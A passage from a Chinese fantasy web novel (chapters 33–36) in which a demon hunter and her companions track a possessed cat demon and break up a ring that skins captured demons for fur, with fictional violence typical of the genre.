冉青云走上前想将她扶起来,她却固执地僵住身子,不愿起身。冉青云只好说了一声“失礼了”,便伸出双手插在她胳肢窝下,像举小孩似的把她举了起来,轻轻放回到轮椅上。
“你……”她俩今日才初次见面,葛从安从没见过行事如此不讲究礼法的女子,不由得涨红了脸。
冉青云又扶起小丫鬟,对她说:“若是其中有冤情,麻烦您将事情和我们讲清楚。”
她见冉青云是个讲道理的,泪眼汪汪,双腿一软又要跪下,被冉青云稳稳托住。
小丫鬟拭了拭泪,开口说道:“小姐她命苦呀……小姐的娘亲是葛姥爷的第三房小妾,她身子不好,早早地就去了。她去世后,大娘和其他小娘对小姐动辄就是拳打脚踢,其他少爷小姐也有样学样,天天欺辱从安小姐。”
她原本是想着,要故意多说些从安小姐的苦楚与难处,好博得一些同情,指不定这位捉妖师就愿意网开一面了呢。但真讲起来,才发现寥寥数语根本道不清小姐受的委屈,语言总是比事实苍白无力许多。
她接着说,“十年前,葛平猎了一大一小两只黑熊妖,将大的剥了皮,做成大衣、围巾、手套;将那小的豢养起来,想等她长大后再杀。小姐于心不忍,悄悄将小黑熊妖从笼子里救出来,给她起名小黑,我们一起偷偷把小黑养在厢房里,等她养好了伤,便放她自由。”
站在一旁的白灿灿听到此处,也默默湿了眼眶。纪映阳见她这番模样,急忙从怀里掏出帕子递给她。
冉青云问:“所以多年后,黑熊妖在北荒山偶葛氏一家,就报仇雪恨了?”
“不是这样的。”小丫鬟摇摇头,说,“小黑只是为了救从安小姐。”
“去年,葛老爷为小姐谈了桩婚事,新郎官家财万贯,只是有一个不为人知的嗜好——他喜欢玩弄残废的貌美之人。葛老爷私下与他做了约定,要废掉小姐的双腿,让她变成一个残破漂亮货物,新郎官一手交钱,葛老爷一手交货。”
说到这,小丫鬟深吸一口气,紧握住双拳,浑身轻颤,显然是气急了。
她接着说:“葛老爷口中所说阖家郊游不过是一个借口,实则是为了砍断从安小姐的腿!他怕在家中动手,动静太大,会被邻居发现,于是就假借阖家郊游,打算带着从安小姐去北荒山动手,还可以将从安小姐断腿的事儿说成是她失足掉入山谷摔伤的。”
“当时,两个侍妾小娘和几个同父异母的兄弟姐妹们控制住了从安小姐,葛老爷和大娘则用石块狠砸她的双腿,我想跑回城里找人来救从安小姐,却在北荒山意外撞见了小黑。小黑听我说了事情缘由,就让我带路,要去救从安小姐。”
“我们到场时,从安小姐双腿已鲜血淋漓,脚踝处几乎被压成肉泥,她痛得几乎要昏阙,大声谩骂……”
一直沉默着的葛从安突然开口了:“不是谩骂,我喊的是‘要把他们通通杀了’,而且真心实意地喊了很多次。小黑不过是听我的话而已。”
葛从安还在为小黑求情:“她年纪小,见到血腥场面,一时情绪激动,又听了我的教唆,这才动手杀人。全都怪我!求你们看在她年纪尚小,又是初犯,饶她一命吧。”
风颢天却不在意这饶不饶命的,她既不是捉妖师,又不是官府,留不留这黑熊妖一条命,她说了也不算。她猫还没找着呢,越过葛从安,冲到黑熊妖面前,急道:“你追着的那只猫跑哪儿去了!”
小黑被她这么一吼,吓了一跳,弱弱地说:“我、我跟丢他了……”
葛从安伸手护住小黑,对着风颢天怒道:“你吼小黑做什么!明明是你自己没管好自己的猫,放猫妖出来为非作恶!半个月前,猫妖闯进我家一通乱砸乱抢,若不是我们躲在床下,装作屋内无人,只怕我早就没了性命!”
风颢天听到葛从安嘴里说出“猫妖”二字,看上去竟一点儿也不吃惊。
听玄隐说,那猫妖是装作普通流浪猫碰瓷风颢天,才成功登门入室,住在长风镖局里面的。难道风颢天一早就知道元宝是猫妖吗?
如今,不仅是那位农妇,连葛从安也说猫妖是凶手,更何况,农妇与葛从安
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根本不认识,完全没有串供的机会,对于猫妖是凶手一事,风颢天的脑子已信了七八分,但心里却还是不愿接受,只是喃喃道:“怎么可能呢……”
玄隐也百思不得其解,要他冒着离开冉青云的风险去做坏事,他是万万不愿的,怎么也想不明白自己的这位猫妖朋友怎会如此行事。
白灿灿一点就通,说:“所以……最近这半个月来,小黑一直在这附近徘徊,其实是为了抓住猫妖,保护葛从安。”她眼眶还泛着红,似乎是很同情黑熊妖和葛从安的经历。
小黑点点头:“听说安安姐姐遇袭后,我就一直在东门外的山坡上日夜观望——我视力极好,黑夜中也能看得清清楚楚。三日前,我发现那猫妖大半夜从镖局里溜出来,我就一路跟着他进了金府,发现他刚打晕了一位小少爷。他见我出现,跳墙就跑,我连忙追上去,可却很快就跟丢了。”
她接着说:“今晚也是一样的,我发现猫妖出现在一户农家院里正要伤人,急忙上前阻止。他见了我,又是转身就跑。我急忙跟上,他这次不知为何跑得慢了许多,我差点儿就捉住他了。但他依旧特别灵活,一下子就从我掌心里溜走了,我只来得及挠了他一爪。之后,我追着他跑进了东门外的山坡树林,他左绕右藏的,没一会儿就不见了。”
冉青云听到关键信息,问道:“你挠了他一爪?见血了么?”
“挠破了皮,但伤口不深。”黑熊妖小黑伸出毛茸茸的爪子,爪缝间和指腹上都清晰可见地残存着血迹。
那就好办了。
只要有新鲜的血迹,就能找到猫妖的去向。
冉青云握住黑熊妖的熊掌,将她沾有血迹的指腹点在自己眉心,凝心闭目,默念法诀。
再睁眼,一道青色妖气再次浮现在眼前,她招呼风颢天、纪映阳和白灿灿跟上,沿着妖气痕迹追踪猫妖的踪迹,一路往北跑,最后来到了一扇朱漆大门前,大门上方悬着黑色金丝楠木匾额,匾额上书“天虞城主府”五个鎏金大字。
猫妖竟藏身在了城主府中。
奇怪,这猫妖是怎么和城主府扯上了关系?
即使是夜半,城主府也守卫森严,一只小猫尚且可以溜进去,他们这几个大活人又怎么混得进去?
白灿灿提议道:“我可以变成一只小虫子,偷偷溜进去。”
纪映阳却不同意:“不行,你单枪匹马进去太危险了。”
冉青云说:“庞千山之前说过他与城主交情颇深,明日一早,我就去找他,让他帮忙带我们进城主府。”
风颢天心如火焚:“若是明天元宝不在城主府了怎么办?你那血追踪术明天还用得了么?”
冉青云额头上的血痕已干得掉渣,要保持到明日估计很悬。她改口道:“那我现在就去庞千山府里把他喊醒。”
白灿灿坚决地说:“时间紧迫,我先进去找找。等你们找到了庞先生,再进来和我汇合!”
她扯下头上的发带,咬破指腹,挤了好几滴血,将沾了血的发带塞进冉青云手里,说:“这么些血够你找着我的位置了吧,我先走啦!”说罢,变成一只小飞虫,悠悠飞进了城主府,消失在夜色里。
34. 第三十四回
白灿灿变成小飞虫潜入城主府后,就一直在四处搜寻猫妖的身影。
只有距离够近,妖族之间才可以相互感知到妖气。因此,白灿灿只能像无头苍蝇一样乱飞,看看自己的妖气感知器啥时候起效。
她飞到一处门楣上观望,木门两侧站着两个守卫。
其中矮一些的那位守卫长叹了一口气,说:“唉……看来今夜是没法睡个好觉了。”
高个子说:“没办法呀,城主前脚刚上京,后脚城主府里就出了这么大的命案。你听说没,李先生死得那个惨哦,就只剩一张薄薄的人皮。”
“这么邪乎?到时城主回来还不知怎么和他交代呢。”
“那也不关咱这些小鱼小虾的事儿,天塌下来也是张大人顶着。城主临走前可是安排了他代管城中事宜……”
白灿灿听了一会儿,大致了解了情况,城主府里有个李先生突然死了,死状惨烈且诡异。
难道这和那只猫妖有关?
就在这时,她隐隐感受到一股陌生的妖气,就出现在不远处。
她急忙循着妖气追上去,果真看见一只狸花猫正在一棵杨树上攀爬,那棵杨树挺拔高耸,屹立在墙角,繁密的枝条延伸到城墙之外。猫妖手脚灵活,身子轻便,几个起落就跳到了枝头。
狸花猫似乎也觉察到了妖气的存在,警惕地四下观望了一番,但没有发现任何异常,便纵身一跃,跳到城主府外去了。
不知道他是要去哪里?
白灿灿变成米粒大小的小飞虫,需要耗费很多的妖力,她也不知自己还能保持小飞虫的模样多长时间。
但是若是跟丢了猫妖,想再找到他可就难了。反正冉青云他们拿着沾了自己血迹的发带,应该很快就能追上来。
想到这,白灿灿下定了决心,立马跟上。
她不像玄隐那样会收敛妖气,只能保持一定的距离,若即若离地悄悄跟在狸花猫身后。
猫妖出了城主府便往城外跑,跑到了山坡上人迹罕至的小树林里,一路向北,竟来到了一间孤零零的宅院前。
猫妖伸爪挠了挠门,门自内而外地开了。猫妖踩着猫步悠悠进了院子。
白灿灿不敢离得太近,躲在宅院外的灌木丛里伺机观察。
没一会儿,猫妖驶着一辆囚车出了门,囚车内关押着大大小小十几只水貂妖,毛色各异,手脚皆绑着锁链。
水貂妖们挤挤挨挨地缩在角落里,抱成一团,抽抽噎噎地哭成一片。
白灿灿心神一凛,耳边仿佛响起撕心裂肺的尖叫哀嚎,眼前好似出现惨不忍睹的淋漓鲜血,她全身不由自主颤抖起来,心脏跳动得仿佛要冲破胸腔一般。
她能够感觉到,自己很快就无法继续维持飞虫的幻象了,若是现出原形,说不定她也会被抓住关进笼子里,任其宰割。
但她毫不犹豫,展翅追了上去。
***
另一边,冉青云等人见白灿灿化身飞虫进入城主府后,立马就启程往庞千山家里赶。
冉青云上次跟着陈三妹回家时,就知道了庞千山家位于陈三妹府邸隔壁,离城主府不过一条巷子的距离。
明明路程极近,纪映阳却不停絮絮叨叨地催促:“怎么还没到啊师姐?”
冉青云本来就急,被他这么一催,心里更是烦躁,回头喊了一句:“别催了!拐个弯就到了!”
正说着,身前突然响起“吁——”的一声勒马声,扭头一看,竟是骑着白马陈流星的陈三妹。
陈三妹高坐马上,紧勒缰绳,青丝随风飘扬,一双黄蓝异瞳在夜间泛着幽光,使她更似一只紧盯猎物的波斯猫。
“你怎么在这?”陈三妹和冉青云异口同声地惊呼出声。
冉青云抢先回答:“我们追捕的一只猫妖不知为何跑进了城主府,白灿灿先变成飞虫溜进了府,我们进不去,想来拜托庞千山带我们进去。”
“巧了,我正好要去城主府。”陈三妹用小腿肚轻踢马腹,白马绕过冉青云等人疾驰起来。
陈三妹甩下一句话,尾音在瑟瑟寒风中飘荡:“我们一起去,快跟上我!”
冉青云等人没有犹豫,转身起步,施展轻功,紧紧跟在陈三妹马后,很快又回到了城主府门口。
城主府门前的侍卫认得陈三妹的脸,见她来了,愁眉苦脸地迎了上来:“您总算来了!”见她身后还跟着三个人,又问:“这几位是?”
陈三妹懒得说清楚缘由,于是便言简意赅地扯谎糊弄:“助手。”
侍卫连忙点头行礼,开了门,领他们进去,边走边和陈三妹讲明情况:“今夜城主大人的一位门客突然暴毙在他的卧房内,死状极其可怖,血肉全都没了,只剩一层薄薄的人皮。张大人说这定是恶鬼作祟,于是急忙派人请你过来调查调查。”
陈三妹问:“怎么是张建诚在管事?城主人呢?”
那侍卫谈及张大人时,语气十分恭敬,陈三妹却毫不客气地直呼张建诚姓名,似乎她身份比之那位张大人还要再尊贵上不少。
等下,张建诚?
这名字怎么听上去有点耳熟?
纪映阳在一旁提醒:“就是玲珑阁东家张娟的叔父。”玲珑阁东家当众欺负了白灿灿,纪映阳对她恨之入骨,那日张娟想来谈合作却被他们扫地出门,临走时放的狠话中就提及了她的叔父张建诚,纪映阳记得一清二楚。
谈话间,他们已来到了西院,这儿整齐排布着七八间瓦房,其中有一间四周围满了守卫。
那侍卫带着他们敲开了这一间瓦房的门,禀报道:“张大人,陈大人已经到了。”
屋内响起一个声音:“进。”那声音听上去疲惫至极。
陈三妹推开门,大大咧咧地闯了进去,也没行礼,开口就问:“人死哪了?”
冉青云等人跟着她走了进去,只见堂屋内坐着一位中年男子,一副儒雅矜贵的文人长相,两鬓有些斑白。
看来这人就是张建诚张大人了。
张大人长叹了一声,吁声中满是心力交瘁的滋味。他指了指身侧的一扇门,说道:“就在内室里。自发现尸体后,我就将内室围了起来,不让任何人进去,就等您来破案了。”
陈三妹颇为赞许地点了点头,扭头看向冉青云等人,语焉不详道:“那你们是要继续跟着我,还是……还是去周围探查一番?”
去周围探查,意思自然就是他们自由行动,该找猫妖的去找猫妖,该找白灿灿的去找白灿灿。
纪映阳和风颢天立马会意,都立马说让陈三妹将探查的任务放心交给他们。
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冉青云却想留下来看看尸体的情况。
猫妖今夜闯入城主府,又恰巧城主府今夜有人暴毙,哪儿会有这么巧的事情,其中定有关联。
她将沾有白灿灿血迹的发带一分为二,一半给了纪映阳,说:“你先去,我过会儿去找你们。”
纪映阳点头应好,将发带绑在额头,掐诀念咒,追着白灿灿妖气痕迹走了。
风颢天紧随其后。
冉青云跟着陈三妹进了内室,内室不大,不过一床一桌而已。
一张人皮轻飘飘地躺在床上,依稀能看得见人皮下的骨骼,房内没有打斗痕迹,人皮上也没有血迹,干净得有些诡异,就好像血肉凭空消失了一般。人皮四周萦绕着浓郁的恶鬼煞气,好似一层浸透了墨汁的薄纱。
玄隐探出头来,见状吓得倒吸一口冷气,又缩回冉青云袖子里。
这人生前八成很瘦,失了血肉后人皮皱缩得也不是很厉害,甚至依稀看得出他的五官长相。
冉青云越看越觉得眼熟,盯着看了好一会儿,终于想起来这人正是曾去香梅茶楼门口闹事的那位瘦官差。
原来他并不是官差,而是一位门客。
冉青云问道:“这是剥皮鬼做的么?”话刚问出口,她就觉得不对,因为剥皮鬼若要剥皮时总会在皮上留下创口,可这张人皮却完好如初,一点儿伤痕都没有。
果然,陈三妹摇了摇头,说:“若我没猜错的话,应该是食恶鬼。”
她解释说:“食恶鬼能够寄生在强烈的恶意上,藏身于躯体之中,无限放大恶意,偷偷蚕食身体主人的灵魂和血肉,吃干抹净后就寻找下一个宿主。”
“强烈的恶意?”
陈三妹点点头,说:“没错,比如说恨到想杀死人的恨意、贪得无穷无尽的贪意,都算强烈的恶意。”
突然,冉青云眼尖地发现了枕头旁边有一簇灰白的短毛,她用两指拈起来细看,很像是狸花猫的毛发。
遭了!
说不定,猫妖就是食恶鬼的下一个宿主。
陈三妹还在细细观察那张人皮,嘴里念叨着:“这食恶鬼吃得是真干净啊,一点儿不剩。哪怕留下一滴血,我都能沿着血迹追踪到那恶鬼。”
冉青云额头猫妖的血早已掉得差不多了,几乎看不到猫妖妖气的痕迹,起不了任何作用。
她索性抹了抹眉间,将沾着白灿灿血迹的发带绑在额头,掐诀念咒,催动血追踪术。再睁眼,恰好可以看见窗外一棵杨树上有白灿灿妖气的痕迹,青色妖气在黑夜中闪着幽光,沿着枝头延伸到城主府外。
既然白灿灿往城主府外跑了,说明她肯定是在府内找到了猫妖,追着猫妖出去了。
冉青云抬头对陈三妹说:“或许我能追踪到那恶鬼。”
她甚至急得来不及走正门,扒住窗沿,扭头对陈三妹说:“我们得快点,不然白灿灿就危险了。”说完就利落地翻窗出去,脚下一点,跳到杨树枝头,沿着妖气痕迹追了上去。
陈三妹是白灿灿的忠实粉丝,此时听见偶像有危险,心头一紧,毫不犹豫地跟上。
墙根下,里三层外三层的侍卫见有人突然翻墙出去,还以为是有刺客逃逸,正要追上,张大人从屋内探出头来,制止道:“那是陈大人和她的助手,不得无礼!”
35. 第三十五回
循着白灿灿的妖气痕迹,冉青云和陈三妹出了天虞城,来到东门外的小山坡上,继续向北疾行,很快来到了白灿灿先前见过的那间宅院前。
正想继续往前走,身后突然传来一阵脚步声和谈笑喧哗声,冉青云和陈三妹立即屏息敛声,躲到一旁的灌木丛里。
一群人从树林里慢慢悠悠地走了出来,高矮胖瘦都有,声音南腔北调,打扮也大不相同,唯一相似的,便是身上血腥味都十足。
其中一个胖子说:“你们听说了没?最近那批货卖到了京城,卖了个天价,至少得是这个数。”说着,他挤眉弄眼,伸出四根胖乎乎的手指。
另一个人抱怨道:“那怎的也不见涨涨咱的月钱?上头吃肉吃得香,也不给咱底下这些小角色多喝几口汤。”
又一人说:“怎么?难道你还嫌月钱低么?我从前在酒楼里当一个月伙计赚的钱,如今短短五天就能赚到了。”
胖子嘿嘿一笑:“那可不!自从干了这行,我是房子也盖了,媳妇也娶了,日子越来越红火啊。”
那群人皆是屠夫模样,谈的却都是生意买卖。
谈笑间,几人嘻嘻哈哈地走进那间宅院,笑声聒噪刺耳。
院门一开一掩之间,冉青云听见宅院里隐隐传出呜呜咽咽的哭声。
陈三妹用气音小声说:“这院子的鬼气很浓。”
玄隐也探出头来低声补充:“妖气也不弱。”
没过一会儿,那几人驶着几辆囚车出了院子,囚车里关着的全是各色各样的小妖怪,随便晃眼一看就看到了兔妖、狐妖、水貂妖等好几种妖族,都抱成一团,瑟瑟发抖,哭得上气不接下气。
囚车晃晃悠悠地往北走,前行的方向与白灿灿的踪迹完全重合。
冉青云和陈三妹交换了一个眼神,悄无声息地跟了上去。
车队越走越偏僻,很快走进了北荒山深处。走了一阵路,囚车里突然有一只兔妖撕心裂肺地大声哭喊起来:“妈妈!妈妈!”听声音,是只年纪尚轻的小兔妖。
冉青云定睛望去,那小兔妖怀中紧紧抱着另一只体型稍大一些的兔妖。大兔妖一身的冷汗,浑身不住地发抖,两只毛茸茸的爪子死死捂着心口,张大嘴吃力地喘着粗气,看样子似乎是犯了心病。
那胖子听见喊叫声,扭头一看,嫌恶地皱了皱眉,呸了一口,说:“真晦气!害老子又少赚一钱银子。”
他停下车,将囚笼大门开了条缝,伸手捉住了那大兔妖,拎了出来。
其他几辆囚车也停了下来,众人皆转头看向那胖子。胖子清了清嗓子,对着众人教书似地高声讲解道:“你们学着点啊!以后遇到这种犯病得半死不活的,一看就活不了多久,记得赶紧丢了,别贪心。妖怪死的时间久了,皮就不好扒了,运到作坊里也是白费力气,到时扒出来的皮破破烂烂的,根本卖不了好价钱。万一它有啥传染病,害得其他妖怪也染上病可就糟了,亏的可就不是这一钱两钱银子的事儿了。”
小兔妖哭喊着拽住大兔妖不撒手,也一齐被拖了出来。
那胖子左手拎着兔妖,右手拔出腰间的大刀,说:“这小兔崽子和老兔子粘得这么紧,说不定也染病了,一起杀了算了。”
说着,他提刀作势就要砍下。
见状,冉青云从乾坤袋中掏出两枚古铜钱,夹在食指、中指之间,铜钱“噌噌”两声接连地飞了出去,先后击中那胖子左右手腕。胖子吃痛松手,左手抓着的两只兔妖齐齐跌落,右手握着的大刀也哐当一声落地。
大兔妖本就奄奄一息,这么一摔,顿时晕了过去。小兔妖急忙背起大兔妖,跌跌撞撞地往远处逃跑,躲进了附近最茂密的灌木丛里,正巧撞上了躲在此处的冉青云和陈三妹,被反弹了出去,“哎呀”一声,连带着大兔妖一起摔了一个屁股墩。
“是谁在那儿?!”那胖子捂住手腕,瞪向灌木丛里。
见自己已经被发现,冉青云不再躲藏,从乾坤袋里摸出一小瓶药丸,扔给小兔妖,说道:“喂她服两颗,护心吊命的。”
作为捉妖师,她出门在外总会带一些治伤保命的瓶瓶罐罐。
陈三妹也起身,和冉青云一起双双拔出腰间长剑,从灌木丛里蹿出来,欺身上前,二话不说就往那胖子身上砍。
那胖子看着身材圆润,行动却还挺矫健,当即滚地躲过这两剑,抄起掉在地上的大刀,对其余几个屠夫模样的汉子喊道:“愣着干什么?上啊!”
闻言,几人纷纷拔刀,将冉青云和陈三妹团团围住。
冉青云和陈三妹并肩而立,一人拿桃木剑,一人执玄铁剑,相背而行,冲向敌阵。
她俩一个是捉妖师,一个是驱鬼人,平日里对付的都是妖魔鬼怪,此时与人类对上阵,还是几个不会法术、空有一身力气的人类,只觉得易如拾芥,比平日里练功还轻松。不出半刻钟,两人就大气都不带喘地就把几个人都干趴下了。
冉青云从昏迷的胖子身上掏出囚笼的钥匙,把几个囚笼都打开,放出了被囚禁的小妖怪们。
小妖怪们连连拜谢,直呼恩人,抹着泪,彼此搀扶着逃了。
冉青云将这几个屠夫模样的坏人通通塞进囚笼里,打算找到白灿灿和猫妖后再回来将他们送去官府。
临上锁前,又将那胖子拖了出来,说:“把这胖子带上好了,听他说话的语气,他知道的还不少,说不定之后能派上用场。”
玄隐自告奋勇充当麻绳,把那胖子捆成个大粽子。
冉青云把这颗大粽子头朝下地往肩上一扛,继续沿着白灿灿妖气的痕迹追踪下去。
又往前走了几里路,冉青云远远地就听见了一个熟悉的声音:“别打啦,别打啦!再打要出猫命啦!”
是纪映阳的声音!
她加速跑向声音的源头,只见一片荒地上,一只狸花猫倒在地上,浑身是血,不远处停着一辆空荡荡的囚车。
在狸花猫身前,纪映阳单手紧紧抱着有气无力的小白狐,另一只手艰难地拦着怒气冲冲的风颢天。
看来是白灿灿妖力耗尽,恢复了原形。
风颢天对着纪映阳大吼:“你别拦着我!都怪我把他宠坏了,居然干出这种伤天害理的腌臜事儿,我今天非得好好教训他一顿不可!”
纪映阳始终分心护着白灿灿,很快被风颢天突破防线。风颢天拎起狸花猫,一巴掌狠狠地打上他的脸,把猫胡须都打歪了。
猫妖啐出一口血沫,嘴里喃喃地重复道
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:“全都杀光……全都杀光……只剩我们两个就好……”
风颢天听他说着什么要杀光的浑话,一咬牙,抬手又要给他一耳光。
冉青云连忙冲上前,抓住她扬起的手:“手下留猫!他是被食恶鬼寄生了!”
风颢天愣了愣:“什么?食恶鬼?”
陈三妹也赶了上来,简单解释道:“是一种寄生在恶念上的鬼。”
猫妖元宝还在着了魔似地重复说:“都杀光……都杀光……”
风颢天看了看猫妖,又看向陈三妹,问:“所以……他变成现在这样是因为被食恶鬼控制了?”
陈三妹点点头。
风颢天又问:“那怎么才能逼出食恶鬼?”
陈三妹回答:“食恶鬼寄生在强烈的恶意之上,消除他心中的恶念,食恶鬼没有了扎根的土壤,自然就没法藏身在宿主躯体里了。”
……也就是说,只能话疗?
玄隐时隔多年,再次见到老友,老友却是如此狼狈的模样,不仅被食恶鬼寄生,还被主人打得浑身是血,玄隐悲从中来,伸长了脖子,冲着猫妖元宝喊他的旧名:“阿彪!我是玄隐呀!你快清醒清醒!你不是说过要好好扮作一只乖猫,一辈子在镖局里吃香喝辣的吗!”
元宝听见呼唤,抬眸往玄隐的方向望了一眼。玄隐表情悲戚,可蛟身还缠在一个胖子身上当麻绳,脸是苦情剧,身子是杂技戏,看上去有些滑稽。
元宝凶狠的表情出现了一丝裂痕,可下一秒,他眸色一深,又念叨起来:“杀光……都杀光……”
风颢天抬手就给了他一巴掌。
纪映阳急道:“都说了他是被食恶鬼寄生了,你还打他干什么?”
风颢天红着眼眶说:“不是说要消除恶念?我就打到他一点儿恶念都不敢起。”
她泪水在眼眶里打转,下手却一点儿也不留情。
元宝念叨一句“都杀光”,她啪的一声就是一耳光,喝道:“不许杀!”
“都杀光……”
啪!
“不准杀!”
“杀光……”
啪!
“不许杀!”
几个来回下来,元宝的声音越来越弱,风颢天的呐喊越来越强。
冉青云和陈三妹别开视线,不忍直视这残暴的家暴现场。
纪映阳紧紧捂住了白灿灿的眼睛,这种残忍血腥的场面小狐狸可看不得,更何况,白灿灿妖力耗尽,本来就虚弱,要是被吓坏了可怎么办!
很快,元宝两个脸颊就肿得高高的,看着像嘴里含了两个大馒头,在短短一刻钟内实现了猫咪发腮的颜值升级。
最后一巴掌落下,元宝头一歪,晕了过去,嘴里缓缓吐出一股黑气。
那食恶鬼竟被硬生生打了出来。
陈三妹急忙掏出镇鬼葫芦,大呵一声“食恶鬼”的名号,催动捉鬼诀,那恶鬼化成的黑烟便转着圈儿被吸进葫芦嘴里。
食恶鬼被收服后,元宝悠悠醒来,刚睁眼就看到面前自己的主人一脸泫然欲泣的样子,又觉得自己两颊火辣辣的疼。他眨了眨眼,用爪子的肉垫揉了揉自己的脸,嘴里含糊不清地问:“瓦、瓦这系在哪里……发生森么事情了……”
36. 第三十六回
猫妖元宝迷迷瞪瞪地醒来,不知自己身在何处,两颊又莫名其妙肿得生疼,眼睛还没对上焦,嘴巴先口齿不清地问了:“瓦、瓦这系在哪里……发生森么事情了……”
刚问完,他一扭头就看到面前自己主人那副眼眶泛红、泫然欲泣的样子,顿时一个激灵清醒了过来,立马翻身乖巧蹲坐,伸出舌尖舔了舔爪子,语调千回百转地叫了一声:“喵——”俨然一只普通小猫的模样。
玄隐见好友醒了,拖着被自己捆起来的胖子就冲到元宝面前,激动道:“阿彪!你终于醒了!我们得好几年没见了吧。你现在感觉怎么样?难受吗?”
元宝还在竭尽全力地扮演普通猫咪,侧过脸使劲给玄隐使眼色,眼皮子都要抽筋了。
冉青云上前一步,笑道:“不用装啦,在场所有人都知道你是猫妖。”
闻言,元宝一愣,僵硬地扭过头,眨巴着眼睛看向风颢天,结结巴巴地开口:“你、你也知道了?”
风颢天怒极反笑,说道:“你以为我和你朝夕相处多少年了?我是蠢到连你是不是猫妖都看不出来么?”
元宝不可置信地瞪大了眼,喃喃道:“我、我以为你不知道我是妖怪,才愿意养着我……”
他举起爪子捂住了脸,长叹一口气,自言自语道:“我可真是做了一件傻事……”他浑身狸花斑纹,唯有两只白手套洁白如雪,像两颗软嫩的山竹果肉。
风颢天没听见他小声的喃喃自语,见他捂脸,还以为他不愿意直视自己,怒道:“这么多年,也不知道我是哪儿亏待了你,竟让你心中恶念强烈到被食恶鬼寄生……”
闻言,元宝急忙说:“不、不是的!”
冉青云见其中似乎有内情,问道:“你怎么会和食恶鬼扯上关系?”
玄隐也问:“你明明不是个有坏心眼子的妖呀!究竟发生了什么?”
元宝揉了揉发红的眼眶,回忆起来:“半个月前,城主派他的一个门客李之康来长风镖局,想要委托镖局走镖。”
风颢天说:“确实有这回事,城主要上京办事,托长风镖局护送他前往京城。”她转头看向冉青云他们,补充道:“李之康就是今晚死在城主府那个人。”
元宝惊讶道:“李之康死了?!”看样子,他似乎完全不知李之康已成一具空尸,但现场分明遗留有他的猫毛,白灿灿也是追着他从城主府里跑出来的。
冉青云急着知道来龙去脉,催道:“你继续说。”
“好、好。”许是冉青云威压太强,元宝吓得咽了咽口水,这才继续说道:“李之康临走前突然塞给我一张纸条,上面写着,若我不想暴露妖族身份,就在当晚丑时去城主府西院从北往南数第三间瓦房里找他。”
“当晚,我准时去和他会面。他竟说,如果不想要暴露猫妖的身份被乘风镖局扫地出门,就要按他说的做,去三户人家家里捣乱。”
“我原想拒绝,但他却说不过是干点偷鸡摸狗的小事儿,又不伤人害人,若我不听他的话,就要把我猫妖身份广而告之,告诉城主、告诉长风镖局,这样一来,别说继续在镖局里吃香喝辣的,怕是整个天虞城都没有我的容身之处了。他还当场施法立下血誓,只要我按他说的做了,他就一辈子帮我保守秘密,若违背誓言,他李之康就灰飞烟灭、不得好死。”
元宝耷拉着脑袋,尾巴有一搭没一搭地摆动着,瘪着嘴说:“我想着捣捣乱确实不是什么大坏事,他又立了血誓,血誓可做不得假!我……我一时冲动就答应了。”
陈三妹解释说:“这也是食恶鬼的能力之一,他可以放大生灵心中的恶念——比如自私自利、冷漠无情。”
冉青云问:“你不是说不伤人害人么?但金府的金小少爷,还有今夜的农家夫妇,可都是因为你而受了伤。”
元宝底气不足地说:“我在院子里捣乱时,见到有人,害怕自己恶行暴露,要被颢天抛弃,就……”
捉鬼人陈三妹颔首:“这说明随着时间的推移,你受食恶鬼的影响越来越重,行事越来越乖张。”
元宝接着说:“我在三户人家家里作乱后,便去城主府西院瓦房找他,让他知道我已履行了我的诺言,他也得遵从他立下的血誓,否则血誓生效,他立马就会被咒术反噬而死。谁知……谁知他当场翻脸不认,血誓竟也没有起效。”
陈三妹摇摇头:“李之康本人早就被食恶鬼寄生已久,血肉估计已被吞食殆尽,不过是一具行尸走肉,血誓自然对他没有效果。”
元宝眼睛一眨,流下两行清泪:“他让我继续听他的话,帮他运送一批妖怪到作坊里,制成皮袄赚钱。这种恶事我怎么可能答应?只道他铁定要告知颢天我妖族的身份了,恨不得杀了他灭口,这样我就能一直和颢天在一起了。这个念头刚起,眼前突然掠过一阵黑烟,我就失去了意识……”
冉青云分析:“也就是说,你那一个刹那间恶意丛生,让食恶鬼找到了寄生的空隙。”
风颢天叹气道:“事已至此,虽说有食恶鬼的影响,但毁宅伤人的坏事毕竟还是你亲手所为,等这次事情了了,我带你一家一户登门道歉。”
白灿灿变身耗费了太多妖力,此时精疲力尽地缩在纪映阳怀里,强撑着抬起头,指了指一旁空荡荡的囚车,问:“那你也不记得自己驾驶囚车是要把妖怪运到哪儿去吗?”
元宝瞪大了眼:“我竟然还开着囚车要载妖去送死!?”看了他是什么也不知道。
白灿灿垂下头,眼眶发红,说:“那岂不是救不了作坊里的妖族了……”
冉青云却斩钉截铁地说:“可以救,有办法。”说罢,她看向一旁被玄隐捆成粽球的那个胖子,零帧起手,啪啪啪赏了他提神醒脑的三个耳光。
胖子浑身一激灵,眼皮子抖了两抖,醒了过来。一睁眼,他就看到好几个陌生人围着他,自己身上还缠着一条大黑蛟,吓得大声尖叫,差点儿又要撅过去。
冉青云扯住他的衣领,又揍了他两拳,好让他清醒清醒,开口问道:“你们那作坊怎么走?”
胖子被打得晕
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头转向,装傻道:“什么作坊啊?我不知道哇,你们是不是抓错人了……”
他话还没说完,只听唰唰两声,陈三妹拔剑,纪映阳抽刀,那胖子登时左边架着一把玄铁长剑,右边横着一把黄铜师刀,中间满是肥肉的短脖子抖如糠筛。
他结结巴巴地高呼:“大侠饶命啊……我、我说!我什、什么都招了……”
似乎是怕他报完作坊地址,没了利用价值,就被当场抹脖子,曝尸荒野,他又改口道:“饶、饶我一命,我给你们带路!那作坊是猎妖人办的,我们只是帮着干些小活的普通人,没干过什么伤天害理的坏事啊!”
白灿灿骂道:“把妖怪运到地狱里去,还不算伤天害理吗!”她情绪激动,说得呛了嗓子,连连咳嗽起来。纪映阳急忙帮她拍背顺气。
冉青云想提前多问些信息,好定一定作战计划,总不能没头没脑地就冲进人家大本营里。
她抬手又打了胖子一巴掌,从乾坤袋中抽出一张符篆,两指夹着符篆,掐诀念咒,只见那符篆竟自己轻飘飘地飞了起来,贴在胖子额头。冉青云恶狠狠地恐吓道:“作坊容易混进去么?说实话!我已给你下了真言咒,若你说谎,我立马就把你杀了。”
实际上,这世上哪有真言咒这种东西?若是真有此等测谎好物,那也用不着官府探案了,拿真言咒一贴,把嫌疑犯随便审审就知道真相了。
但冉青云先是把胖子打得晕晕乎乎的,又用戏法装出一副高深莫测的样子,真把那胖子唬住了。
